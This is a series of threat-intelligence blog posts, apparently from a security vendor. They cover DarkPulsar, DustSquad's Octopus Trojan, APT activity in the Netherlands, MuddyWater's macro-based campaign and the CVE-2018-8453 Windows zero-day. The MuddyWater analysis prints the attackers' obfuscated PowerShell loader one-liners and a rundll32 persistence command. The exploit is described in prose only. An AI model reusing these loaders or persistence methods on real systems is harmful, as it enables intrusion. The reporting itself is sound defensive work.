    The discovery of the DarkPulsar backdoor helped in understanding its role as a bridge between the two leaked frameworks, and how they are part of the same attacking platform designed for long-term compromise, based on DarkPulsar’s advanced abilities for persistence and stealthiness. The implementation of these capabilities, such as encapsulating its traffic into legitimate protocols and bypassing entering credentials to pass authentication, are highly professional.

    Our product can completely remove the related to this attack malware.

    Detecting malicious network activity

    When EDFStagedUpload is executed in an infected machine, a permanent connection is established, which is why traffic via port 445 appears. A pair of bound sockets also appears in lsass.exe:

    When DanderSpritz deploys PeddleCheap’s payload via the PcDllLauncher plugin, network activity increases dramatically:

    When a connection to the infected machine is terminated, network activity ceases, and only traces of the two bound sockets in lsass.exe remain:


    implant – 96f10cfa6ba24c9ecd08aa6d37993fe4
    File path – %SystemRoot%\System32\sipauth32.tsp
    Registry – HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers

    Octopus-infested seas of Central Asia

    Mon, 10/15/2018 - 06:00

    For the last two years we have been monitoring a Russian-language cyberespionage actor that focuses on Central Asian users and diplomatic entities. We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware. In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities.

    The name was originally coined by ESET in 2017 after the 0ct0pus3.php script used by the actor on their old C2 servers. We also started monitoring the malware and, using Kaspersky Attribution Engine based on similarity algorithms, discovered that Octopus is related to DustSquad, something we reported in April 2018. In our telemetry we tracked this campaign back to 2014 in the former Soviet republics of Central Asia (still mostly Russian-speaking), plus Afghanistan.

    In the case of Octopus, DustSquad used Delphi as their programming language of choice, which is unusual for such an actor. Among others exceptions are the Russian-language Zebrocy (Sofacy’s Delphi malware), the Hindi-language DroppingElephant and the Turkish-language StrongPity. Although we detected Octopus victims that were also infected with Zebrocy/Sofacy, we didn’t find any strong similarities and we don’t consider the two actors to be related.

    What happened?

    In April 2018 we discovered a new Octopus sample pretending to be communication software for a Kazakh opposition political group. The malware is packed into a ZIP file named with a timestamp from February-March 2018. DVK stands for Kazakhstan Democratic Choice, an opposition political party that is prohibited in the country. The image below shows the acronym ‘ДВК’ in Russian (Демократический Выбор Казахстана). DVK enjoys a healthy Telegram presence, making Telegram´s potential ban a hot topic in Kazakhstan. The dropper pretends to be Telegram Messenger with a Russian interface.

    We couldn´t find any legitimate software that this malware appears to be impersonating; in fact, we don´t believe it exists. The Trojan uses third-party Delphi libraries like The Indy Project for JSON-based C2 communications and TurboPower Abbrevia ( for compression. Malware persistence is basic and achieved via the system registry. The server side uses commercial hosting in different countries with .php scripts deployed. Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen. For more information, please contact:

    Technical details

    The attackers used the potential Telegram ban in Kazakhstan to push its dropper as an alternative communication software for the political opposition.

    ‘Telegram messenger’ establishes network module persistence in the simplest way and starts the module

    We can’t confirm how this malware is being distributed, although it clearly uses some form of social engineering. This actor previously used spear phishing to spread malware.

    Dropper MD5 hash 979eff03faeaeea5310df53ee1a2fc8e Name Archive contents d6e813a393f40c7375052a15e940bc67 CsvHelper.dll Legit .NET CSV files parser 664a15bdc747c560c11aa0cf1a7bf06e Telegram Messenger.exe Persistence and launcher 87126c8489baa8096c6f30456f5bef5e TelegramApi.dll Network module d41d8cd98f00b204e9800998ecf8427e Settings.json Empty Launcher MD5 hash 664a15bdc747c560c11aa0cf1a7bf06e File name Telegram Messenger.exe PE timestamp 2018.03.18 21:34:12 (GMT) Linker version 2.25 (Embarcadero Delphi)

    Before any user interaction, inside the FormCreate() function the launcher checks for a file named TelegramApi.dll in the same directory. If it exists, the launcher copies the network module to the startup directory as Java.exe and runs it.

    The ‘Send mailing’ button in the bottom right corner doesn’t even have a handler function

    Delphi Visual Component Library (VCL) programs are based on event handlers for form elements. Such programs are extremely large (about 2.6 MB and 12,000 functions), but all this code is mostly used to handle the visual components and run-time libraries. There are only three programmer-defined handlers for controlling elements inside the Octopus launcher.

    Function name Functionality FormCreate() Runs as constructor before any user activity. Makes the network module persistent via Startup directory and runs it Button1Click() Shows the explorer dialog window to choose the “mailing file” DateTimePicker1Click() Shows calendar to select the “mailing date”

    There is no handler for the ‘Send mailing’ button, so the launcher pretends to be an alternative communicator that in reality does nothing. This may be because the malware is still unfinished – after all, messages sent through it could be of value to the attackers. However, we believe it is more likely that the malware was created in a hurry and the attackers decided to skip any communication features.

    Network module

    C2 communication scheme

    MD5 hash 87126c8489baa8096c6f30456f5bef5e File name TelegramApi.dll PE timestamp 2018.02.06 11:09:28 (GMT) Linker version 2.25 (Embarcadero Delphi)

    Despite the file extension, this network module is a self-sufficient portable executable file and not a dynamic-link library. The first sample checks for files with names like 1?????????.* in the user’s temporary folder and deletes any files it finds. Then it creates .profiles.ini in the Application Data directory where the malware stores its log.

    HTTP request Response GET /d.php?check JSON “ok” GET /d.php?servers JSON domain name GET /i.php?check= JSON “ok” POST /i.php?query= JSON response code or command depends on POST data

    First stage .php script to check connection and get C2 domain name

    All network modules consist of hardcoded IP addresses belonging to commercial web-hosting services based in different countries. The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request.

    After the initial connection check, the malware receives a JSON with the actual C2 domain name

    Then the network module checks against the hardcoded victim’s id

    The network module checks against a 32-digit hardcoded victim id and sends the gathered data to the C2 using a HTTP POST request. In terms of programming, this id is strange, because the malware simultaneously ‘fingerprints’ its victim with an MD5 hash of its system data.

    JSON-based gathered data sent in a HTTP POST base64-encoded request

    All communication with the C2s is based on JSON-formatted data and the HTTP protocol. For that, the developers used The Indy Project ( publicly available library as well as the third-party TurboPower Abbrevia ( for compression.

    After all the initial HTTP GET requests, the malware starts to gather JSON-formatted system data. For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc. One interesting field is “vr”:”2.0″ which appears to be the malware version encoded in the communication protocol.

    The ‘id’ field is the victim’s fingerprint for which the malware actively uses the Windows Management Instrumentation mechanism. The Trojan runs WMIC.exe with the following arguments:

    C:\WINDOWS\system32\wbem\WMIC.exe computersystem get Name /format:list C:\WINDOWS\system32\wbem\WMIC.exe os get installdate /format:list C:\WINDOWS\system32\wbem\WMIC.exe path CIM_LogicalDiskBasedOnPartition get Antecedent,Dependent

    Then the module concatenates the gathered ids and computes an MD5 hash, which will be the victim’s final id. The “act” field numbers the communication stage (0 for initial fingerprinting). After this, the HTTP POST control server returns a JSON {“rt”:”30″} and the client continues with the next “act” in the HTTP POST:

    At this point the C2 sends a JSON with commands to execute, including uploading/downloading files, taking a screenshot and finding *.rar archives on the host.

    Other software

    Besides the Trojan itself, the Octopus developers used the password dumping utility fgdump.

    Infrastructure MD5 hash IPs C2 domain 87126c8489baa8096c6f30456f5bef5e ee3c829e7c773b4f94b700902ea3223c 38f30749a87dcbf156689300737a094e 6e85996c021d55328322ce8e93b31088 7c0050a3e7aa3172392dcbab3bb92566 2bf2f63c927616527a693edf31ecebea d9ad277eb23b6268465edb3f68b12cb2

    The most recent samples (2017-2018) of hardcoded IPs and web domains obtained from the .php script


    Political entities in Central Asia have been targeted throughout 2018 by different actors, including IndigoZebra, Sofacy (with Zebrocy malware) and most recently by DustSquad (with Octopus malware). Interestingly, we observed some victims who are ‘threat magnets’ targeted by all of them. From our experience we can say that the interest shown by threat actors in this region is now high, and the traditional ‘players’ have been joined by relative newcomers like DustSquad that have sprung up locally.

    Indicators of compromise File hashes


    Domains and IPs

    Auxiliary URLs to upload/download files:

    The following are old indicators of compromise no longer used by this actor, but which can be used for forensic purposes:


    First stage .php script placed at:

    Domains returned by .php script:

    Threats in the Netherlands

    Thu, 10/11/2018 - 03:30


    On October 4, 2018, the MIVD held a press conference about an intercepted cyberattack on the OPWC in the Netherlands, allegedly by the advanced threat actor Sofacy (also known as APT28 or Fancy Bear, among others). According to the MIVD, four suspects were caught red handed trying to break into the OPWC’s network. Sofacy activity in the Netherlands did not come as a surprise to us, since we have seen signs of its presence in that country before. However, aside from Sofacy we haven’t seen many other advanced persistent threat (APT) groups in the Netherlands, at least when compared to other areas, such as the Middle-East. Upon further reflection, we have concluded that this is rather odd. There are quite a few big multinationals and some high tech companies located in the Netherlands. In addition, there are other potential strategic targets for threat actors. So we decided to review cyber-threat activity targeting or affecting the Netherlands.

    Providing an overview of one APT’s activity can be quite difficult, let alone all the APT activity affecting a country. First, we only see what we can see. That means we can only gather data from sources we have access to, such as that shared voluntarily by our customers with Kaspersky Security Network (KSN), and those sources also need to be supplied with data related to a specific APT. As a result, like any other cybersecurity vendor, our telemetry is naturally incomplete.

    One way to improve our overview is to use sinkhole data. When a domain that is used by an APT expires, researchers can register that domain and direct the traffic to a sinkhole server. This is done quite frequently. For many of the APTs we track, we sinkhole at least one domain. In comparison to other sources, such as KSN and multi-scanner services, sinkhole data has a number of advantages. For example, in some cases you can get a better overview of the victimology of the APT. The drawback is that we need to filter the results, since there can be quite a few false positives (e.g. because other researchers are investigating the malware). This filtering can be quite cumbersome, because if we base it solely on the IP and the requests, it is quite difficult to come to a verdict.


    For this blogpost we gathered all the sinkhole data for Dutch IPs in the last four years (September 2014 to September 2018), which amounts to around 85,000 entries. Of course, this is far too much to verify by hand, so the first step was to filter the results, and especially all the scanners. While some of these were relatively easy to spot and filter out (e.g. all the TOR exit nodes, all the Romanian.anti-sec), others required a bit more effort.

    In order to filter out the scanners, we deleted all entries where the IP matched more than four “tags” (each tag stands for a different campaign). After doing this, we were left with around 11,000. That meant 77% fewer results, but there were still too many, so we applied some more aggressive filtering.

    The table below describes the number of tags that were hit per IP.

    0 10,532 1 1,149 2 618 3 344 4 234 >4 938

    One way to determine whether a hit in the sinkhole database is a true positive (TP) or a false positive (FP), is to find out who the victim is. We thus reversed the IP and checked whether, at the time of the first entry in our sinkhole database, the DNS entry matched the entries in our passive DNS database. If this was not the case, the entry was ignored. The next step was to remove all the entries that would be difficult to investigate (e.g. IP addresses that belong to an ADSL connection). Even though this method was quite rigid and meant that some TPs might be missed, we still decided to use it, since we knew it would be too resource-intensive to investigate all the entries. The result: only around 1,000 entries remained for investigation.

    The aim of this blogpost is to give an overview of which APT groups are active in the Netherlands and what they are interested in, and that requires TPs, not FPs. For each remaining entry, a reverse DNS lookup was made, and the ASN information was saved. This was checked against our passive DNS database to see whether this IP had the same domain as its first entry in the sinkhole database. If it did, the entry was kept, if it was not, we tried to find out to which organization the IP belonged.

    At this point, for the entries that remained, the raw requests were retrieved against the template request made by the APT. Finally, for each of the IPs left on our list, we tried to tie them to a company or institution. If this was the case, the entry was kept and marked as a TP.

    We also checked our APT reports for targets in the Netherlands and added these results to the review.


    Using the methods described above, we found the following APTs that are or have been active in the Netherlands:


    BlackOasis is an APT group we have been tracking since May 2016. It uses the commercially available FinFisher malware made by Gamma International and sold to law enforcement agencies (LEAs) and nation states. BlackOasis differentiates itself from other APT-groups by using a vast amount of 0-days: at least five since 2015. Victims are mostly found in Middle Eastern countries, where the group is particularly interested in politics. We have also seen it targeting members of the United Nations and regional news correspondents. Recently we have seen a shift in focus towards other countries such as Russia, the UK and now also the Netherlands. Its Dutch victims fit into its shift of interest.


    Sofacy, also known as Pawn Storm, Fancy Bear and many other names is an active APT group that we have followed since 2011. It is known for using spear phishing emails to infect targets and for the active deployment of 0-days. In 2015, Trend Micro researchers reported that the group had targeted the MH17 investigation team. Last year, the Volkskrant published an article alleging it tried to infect several Dutch Ministries. Then there is the October 4, 2018 news of four alleged Sofacy members having been caught in April 2018 trying to hack the OPWC. Even though we cannot confirm these last two incidents, since we are not involved, we have observed several targets in the Netherlands infected with Sofacy. Interestingly, we observe fewer deployments of Xagent (one of Sofacy’s modules) after April 2018. Although one new Xagent deployment was noted in August 2018, it seems that the group pushed fewer, and then only new, deployments from April through June 2018.


    Hades is the name given to the group held responsible for the Olympic Destroyer malware that was found targeting the 2018 Winter Olympic Games in South Korea. Our initial thought was that the malware was related to the Lazarus group, because several of our Yara rules had 100% matches with the malware. However, after careful research we found many false flags that pointed to different APT groups. A few months later, in May 2018 (not long after the OPWC incident took place), we found that Hades had returned and was now targeting financial institutions and chemical threat prevention laboratories. Given this shift of interest, it is no surprise that entities in the Netherlands were targeted as well.


    Buhtrap is one of the groups that targets financial institutions with the ultimate goal of stealing money. Its tools, techniques and processes (TTPs) don’t differ extensively from those of traditional APT groups. Buhtrap is one of those (Carbanak and Tyupkin are others) that started by infecting financial institutions in Russia and Ukraine, but after a while shifted its focus to other parts of the world. We found Buhtrap activity in the Netherlands in 2017.

    The Lamberts

    In March 2017, WikiLeaks published online a series of documents that they call “Vault 7”. Some of these documents feature malware that resembles that used by the Lamberts, a toolkit that has been used for several years, with most of its activity occurring in 2013 and 2014. One of The Lamberts’ variants we have been investigating is the “Green Lamberts”. We were surprised to see quite a few infections in the Netherlands, when the majority of attacks target Iran. We do not have any insight into the profile of the victims located in the Netherlands. Nevertheless, the fact that Lamberts is active in the Netherlands shows a possible shift in focus, and reminds us that for APT groups, borders do not exist.


    Turla, also known as Uroboros, is a very active APT group, believed to be connected to many high-profile incidents such as the US Central Command attack in 2008 and the breach of RUAG (a Swiss military contractor). Other Turla targets include ministries and governmental organizations. Given all this, the Netherlands is a logical target for the Turla group. In fact, we would have been surprised not to have found any Turla infections in the Netherlands.


    Gatak, which also goes by the names of Stegoloader and GOLD, is a group that engages in data theft using watering hole attacks. It has been active since at least 2015, and its main interest is in intellectual property. Even though the use of watering hole attacks means the group does not have full control over who it infects, it has been able to hit a couple of high profile targets. In this case, our sinkhole database enabled us to determine that one of those was a high profile target in the Netherlands.

    Putter Panda

    In 2015, the Dutch chip maker, ASML was allegedly breached by Putter Panda. ASML acknowledged the breach and stated that one file was stolen. No further details are publicly available, although there was an episode of the TV program “KRO reporter“, partially dedicated to the breach. ASML is one of relatively few high-tech companies in the Netherlands. The fact that it has been breached is a clear sign that foreign threat actors are aware of and interested in industrial espionage in the Netherlands.

    Animal Farm

    Animal Farm is a group that has been active since at least 2009. A relatively advanced threat actor, it has been targeting a variety of organizations over the past years. Victims include governmental organizations, military contractors, activists and journalists. Even though the group is mainly focused on French speaking countries, we still found a few infections in the Netherlands.


    Although our visibility of threat actor activity in the Netherlands is incomplete, the results are nevertheless surprising. Some groups we did not expect to see appear to be active in the country (such as the Lamberts). However, upon further thought, and especially when looking at potential targets located in the Netherlands and comparing this with the interests of some of the APT groups, their activity in the Netherlands makes sense.

    The presence of both expected and unexpected threat actors is a good argument for organizations staying informed of the latest developments in cyberspace, particularly through threat intelligence reports. Because if you know what APT groups are up to, which organisations they target and what TTPs they use, you can implement the protection you need to stay one step ahead of them.

    Such precautions are important, because one of the most stunning findings from the review of sinkhole databases was the number of organizations infected using “ordinary cybercrime malware”. We saw infections among airlines, airports and other major companies (although it should be noted that this happens in other countries as well, not just in the Netherlands). It demonstrates again that it is not so difficult for (APT) groups to breach valuable targets and that basic cyber hygiene is important for everybody.

    As a final note, one should always be careful about deriving hard conclusions from APT findings, particularly in terms of attribution. For example, even though we saw Olympic Destroyer malware being used to target chemical threat prevention laboratories shortly after the OPWC incident, this is not conclusive evidence that the groups behind these attacks are the same, or even related. However, using this fact to monitor your network for the presence of Olympic Destroyer malware if you think you might be a potential Sofacy target – and vice versa – seems like a good approach.

    For more information on our private threat intelligence reporting service, please contact

    MuddyWater expands operations

    Wed, 10/10/2018 - 06:00


    MuddyWater is a relatively new APT that surfaced in 2017. It has focused mainly on governmental targets in Iraq and Saudi Arabia, according to past telemetry. However, the group behind MuddyWater has been known to target other countries in the Middle East, Europe and the US. We recently noticed a large amount of spear phishing documents that appear to be targeting government bodies, military entities, telcos and educational institutions in Jordan, Turkey, Azerbaijan and Pakistan, in addition to the continuous targeting of Iraq and Saudi Arabia, other victims were also detected in Mali, Austria, Russia, Iran and Bahrain.. These new documents have appeared throughout 2018 and escalated from May onwards. The attacks are still ongoing.

    The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks. In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers.

    Decoy images by country Jordan

    The Hashemite Kingdom of Jordan, Ministry of Justice (mwjo.doc) DAMAMAX.doc


    Turkey’s General Directorate of Security Turkey’s Directorate General of Coastal Safety

    Turkey’s General Directorate of Security (Onemli Rapor.doc) Turkey’s Ministry of the Interior (Early election.doc)

    Saudi Arabia

    Document signed by the Major General Pilot, commander of the Saudi Royal Air Force

    KSA King Saud University (KSU) KSA King Saud University (KSU)


    İnkişaf üçün görüş.doc (meeting for development)


    Iraqi Ministry of Foreign Affairs Government of Iraq, the Treasury of the Council of Ministers


    ECP.doc National Assembly of Pakistan.doc



    President.doc, E-government of Afghanistan

    Technical details

    Below is a description of the malware extraction and execution flow, starting from the initial infection vector, running VBA code via a macro and then dropping the PowerShell code that establishes command-center communications, sends victim system information and then receives commands supported by the malware.

    The initial infection vector

    The initial infection starts with macro-enabled Office 97-2003 Word files whose macros are usually password-protected to hinder static analysis.

    Malicious obfuscated VBA code is executed when the macro is first enabled. In some cases, the malicious macro is also executed when the user activates a fake text box.

    The macro payload analysis, dropped files and registry keys

    The macro payload, which is Base64 encoded, does the following:

    1. Drops two or three files into the “ProgramData” folder. The dropped files are either in the root of the “ProgramData” folder or in a subdirectory. The file names may vary from one version of the malware to another.


    1. Adds a registry entry in the current user’s RUN key (HKCU) for later execution when the user next logs in. In some cases, the macro spawns the malicious payload/process instantly without waiting for the next time the user logs in. The registry keys and executables may vary from one version of the malware to another.

    Data:c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection C:\ProgramData\EventManager.logs,Defender,1,

    The next time the user logs in, the dropped payload will be executed. The executables have been chosen specifically for bypassing whitelisting solutions since they are all from Microsoft and very likely whitelisted. Regardless of the file extensions, the files dropped by the macro are EITHER INF, SCT and text files OR VBS and text files.

    Case 1: INF, SCT and text files dropped by the macro
    1. INF is launched via the advpack.dllLaunchINFSection” function.
    2. INF registers the SCT file (scriptlet file) via scrobj.dll (Microsoft Scriptlet library).
    3. Via WMI (winmgmt), the JavaScript or VBscript code in the SCT file spawns a PowerShell one-liner which finally consumes the text file.

    powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join(”,$d));

    PowerShell one-liner

    Encoded text file

    Execution flow:

    Case 2: VBS and text files dropped by the macro

    The VBS file decodes itself and calls mshta.exe, passing on one line of VBScript code to it, which in turn spawns a PowerShell one-liner which finally consumes the text file (usually Base64-encoded text).

    powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));

    PowerShell one-liner

    Encoded text file

    Execution flow:

    The PowerShell code

    When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it. The resulting code has multiple layers of obfuscation.

    The first thing the PowerShell code does is to disable office Macro Warnings” and “Protected View“. This is to ensure future attacks don’t require user interaction. It also allows macro code to access internal VBA objects for stealthier macro code execution in future attacks.

    Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted. The names are linked to various tools used by malware researchers.


    Blacklisted process names in the malware

    In some cases, it calculates the checksum of each running process name, and if it matches any hard-coded checksums, it causes a BSOD via the ntdll.dllNtRaiseHardError” function.

    CnC communication

    A URL is selected at random from a long list of embedded URLs held in an array named $dragon_middle. The selected URL is subsequently used for communication with the CnC server. If it can’t send data to the chosen CnC URL, it tries to obtain another random URL from $middle_dragon, then sleeps from one to 30 seconds and loops again.

    Victim system reconnaissance

    The code then tries to obtain the victim’s public IP via “”.

    The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim. This allows the attackers to accept or reject victims depending on their IPs, countries, geolocations, target enterprises, etc. Depending on the response from the attacker’s CnC, the victim is assigned an ID $sysid. This ID is sent to the CnC with each request for commands to execute.

    Supported commands

    upload“, “screenshot“, “Excel“, “Outlook“, “risk“, “reboot“, “shutdown“, “clean“. These commands vary from one version to another.

    1. The “screenshot” command takes a screenshot that is saved as a.PNG file in “ProgramData“.
    2. The “Excel” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Excel to execute this PowerShell script via DDE.
    3. The “Outlook” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Outlook via COM, via MSHTA.exe, to execute it.
    4. The “risk” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Explorer.exe via COM interaction to execute it.
    5. The “upload” command downloads files from the CnC and saves them locally in “C:\ProgramData“.
    6. The “clean” command destroys the victim’s disk drives C, D, E, F and then reboots.
    7. The “reboot” and “shutdown” commands immediately reboot and shut down the victim’s machine.

    In one version of the malware, the code checks if the “ProgramData” folder has folders or files with the keywords “Kasper“, “Panda“, or “ESET“.


    Most victims of MuddyWater were found in Jordan, Turkey, Iraq, Pakistan, Saudi Arabia, Afghanistan and Azerbaijan. Other victims were also recorded in Russia, Iran, Bahrain, Austria and Mali. The malicious decoy documents used in the attacks suggest they are geopolitically motivated, targeting sensitive personnel and organizations.

    Attacker deception and attribution

    The deobfuscated PowerShell code used by the MuddyWater group resembles previously seen PowerShell scripts that most likely served as prototypes. Multiple documents used in the attacks also contain embedded paths from their authors’ machines. These paths are embedded by Office under various circumstances, for instance, when somebody adds a binary object (an OLE control, e.g. text box or command button) into a Word document. The paths discovered are:

    • C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd
    • C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd
    • C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd
    • C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd

    Leo, Poopak, Vendetta and Turk are the usernames of those creating the documents or the templates on which they are based. Turk could point to a person of Turkish origin. Poopak is a Persian girl’s name or might suggest the authors are not entirely happy with “Pak”, which could be short for Pakistan. Leo could be one of the attacker’s names. We also don’t rule out the possibility of false flags, with the attackers using random usernames to confuse researchers.

    In multiple instances, we have also found Chinese text inside the samples, possibly indicating the reuse of code by the attackers.


    Chinese text found in PowerShell code in multiple samples

    Unable to connect to the URL, please wait for the dragon…
    Unable to access local computer register
    Task Scheduler access denied

    Translation of Chinese text

    We have also noticed that for some samples, e.g. 5a42a712e3b3cfa1db32d9e3d832f8f1, the PowerShell code had only three CnC URLs, which leads us to believe that most of the CnC URLs in $dragon_middle found in other samples could actually be ‘noise’ to distract researchers or trigger false positives.


    Recommendations for organizations

    Effective protection from targeted attacks focuses on advanced detective, preventive and investigative capabilities via solutions and training, allowing an organization to control any activities on their network or suspicious files on user systems.

    The best way to prevent attackers from finding and leveraging security holes, is to eliminate the holes altogether, including those related to improper system configurations or errors in proprietary applications. Organizations are also recommended to implement the following steps for an enhanced level of protection at their premises.

    1. Use PowerShell Constrained Language Mode as it uses IEX, Add-Type, and New-Object.
    2. Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO.
    3. A whitelisting solution to prevent certain process child-parent execution hierarchies.

    The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering, in addition to the active development of attacks, infrastructure and the use of new methods and techniques. The attackers are actively improving their toolkit in an effort to minimize their exposure to security products and services. Kaspersky Lab expects these types of attacks to intensify in the near future.

    In order to protect your company from malware, Kaspersky Lab researchers recommend implementing the following measures:

    • Educate generic staff to be able to distinguish malicious behavior like phishing links.
    • Educate information security staff to have full configuration, investigative and hunting abilities.
    • Use a proven corporate-grade security solution in combination with anti-targeted attack solutions capable of detecting attacks by analyzing network anomalies.
    • Provide security staff with access to the latest threat intelligence data, which will arm them with helpful tools for targeted attack prevention and discovery, such as indicators of compromise and YARA rules.
    • Make sure enterprise-grade patch management processes are well established and executed.

    High-profile organizations should have elevated levels of cybersecurity, attacks against them are inevitable and are unlikely to ever cease.

    Additional information

    In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers.

    Further details about the attackers’ arsenal, additional indicators of compromise, YARA rules and attribution information is available to customers of Kaspersky Intelligence Reporting. Contact:

    Indicators of compromise MD5


    File names


    Domains, URLs and IP addresses


    Zero-day exploit (CVE-2018-8453) used in targeted attacks

    Wed, 10/10/2018 - 03:00

    Yesterday, Microsoft published their security bulletin, which patches CVE-2018-8453, among others. It is a vulnerability in win32k.sys discovered by Kaspersky Lab in August. We reported this vulnerability to Microsoft on August 17, 2018. Microsoft confirmed the vulnerability and designated it CVE-2018-8453.

    In August 2018 our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft Windows operating system. Further analysis into this case led us to uncover a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer to get necessary privileges for persistence on the victim’s system. The code of the exploit is of high quality and written with the aim of reliably exploiting as many different MS Windows builds as possible, including MS Windows 10 RS4.

    So far, we detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

    Kaspersky Lab products detected this exploit proactively through the following technologies:

    1. Behavioral detection engine and Automatic Exploit Prevention for endpoints
    2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)

    Kaspersky Lab Verdicts for the artifacts in this campaign are:

    • HEUR:Exploit.Win32.Generic
    • HEUR:Trojan.Win32.Generic
    • PDM:Exploit.Win32.Generic

    More information about this attack is available to customers of Kaspersky Intelligence Reports. Contact:

    Technical details

    CVE-2018-8453 is a Use-After-Free inside win32kfull!xxxDestroyWindow that resembles an older vulnerability — CVE-2017-0263. CVE-2017-0263 was originally deployed by the Sofacy APT, together with a PostScript exploit, back in 2017.

    For technical analysis of the vulnerability, we completely reverse-engineered the ITW exploit sample obtained and rewrote it into a full Proof of Concept.

    The exploitation of this vulnerability depends on a sequence of events that are performed from hooks set on three usermode callback functions – fnDWORD, fnNCDESTROY, and fnINLPCREATESTRUCT. The exploit installs these hooks by replacing the function pointers in the KernelCallbackTable:

    Hooked functions in the Kernel Callback Table

    Inside the fnINLPCREATESTRUCT hook, the exploit initializes a “SysShadow” window by explicitly assigning a position to it:

    Usermode hook on fnINLPCREATESTRUCT initializes SysShadow

    When processing the WM_LBUTTONDOWN message, the fnDWORD hook executes the DestroyWindow function on the parent, which results in the window being marked as free and subsequently freed by the garbage collector.

    The issue lies inside the fnNCDESTROY hook that is performed during execution of the DestroyWindow function. This hook executes the NtUserSetWindowFNID syscall, which contains a flawed logic to change the fnid status of the window without properly checking if it is set to FNID_FREED.

    Vulnerable code inside NtUserSetWindowFNID

    The fnid status of the window is located at offset 0x02a in the tagWND structure:

    kd> dt win32k!tagWND

    +0x02a fnid : Uint2B

    When the scrollbar is initially created, it has the value FNID_SCROLLBAR (0x029A).

    The next diagram shows the value of fnid prior and after execution of the NtUserSetWindowFNID syscall:

    Scrollbar fnid prior and after execution of NtUserSetWindowFNID syscall

    We can check what the new fnid value is by verifying it against the ReactOS source code:

    /* FNIDs for NtUserSetWindowFNID, NtUserMessageCall */
    #define FNID_SCROLLBAR 0x029A

    #define FNID_BUTTON 0x02A1

    #define FNID_FREED 0x8000 /* Window being Freed… */

    This action results in the first scrollbar being destroyed, while the system still maintains a reference to a “SysShadow” class, as the scrollbar fnid is no longer marked as FNID_FREED, but as FNID_BUTTON instead.

    To successfully reclaim the freed memory pool, the exploit contains a number of different feng shui tactics. The spray procedure is dependent on the exploited Windows version, and because the exploit targets a wide range of operating systems, it includes five separate functions for spraying:

    Heap spraying procedures supported in the exploit

    For the latest supported version (Windows 10 RS4), the spray tactic is quite complicated. The kernel is sprayed with bitmap objects of different size. This is required to exhaust the memory allocator to eventually bypass the Low Fragmentation Heap security mitigations that were significantly improved in the latest Windows builds:

    Heap Feng Shui technique for Windows RS4 17134

    This leads to the following memory layout, where USERTAG_SCROLLTRACK is the freed pool allocation:

    Freed scrollbar heap allocation

    When another scrollbar is allocated, the SysShadow class memory reference is reused, but its contents are attacker-controlled, because the freed Usst (ffffee30044b2a10) and Gpbm (ffffee30044b2a90) pools were merged into a single block:

    Freed allocation is merged with the following pool

    This results in a powerful arbitrary kernel Read\Write using GDI Bitmap primitives that works even on the latest Windows versions.

    Following successful exploitation, a slightly modified Token-stealing payload is used to swap the current process Token value with the one from the SYSTEM EPROCESS structure:

    Modified Token-stealing payload process

    So far, we’ve observed the usage of this exploit in a small number of targeted attacks, when the exploit is packaged in a malware installer. The installer requires system privileges to install its payload. The payload is a sophisticated implant, used by the attackers for persistent access to the victims’ machines. Some of its main characteristics include:

    • Encrypting the main payload using AES-256-CBC with the SHA-1 of the SMBIOS UUID (this makes it impossible to decrypt the payload on machines other than the victim, if the SMBIOS UUID is not known)
    • Using Microsoft BITS (Background Intelligent Transfer Service) for communicating with its C&C servers, an unusual technique
    • Storing the main payload in a randomly named file on disk; the loader contains a hash of the filename and attempts to find the payload by comparing the filename hash for all files in the Windows directory

    More details on this malware and the APT behind it are available to customers of Kaspersky Intelligence Reporting. Contact:


    The distribution of the attack seems to be highly targeted, affecting less than a dozen victims in the Middle East region, according to our telemetry.


    During our investigation, we discovered the attackers were using a PowerShell backdoor that has previously been seen exclusively used by the FruityArmor APT. There is also an overlap in the domains used for C2 between this new set of activity and previous FruityArmor campaigns. That makes us assess with medium confidence that FruityArmor is responsible for the attacks leveraging CVE-2018-8453.


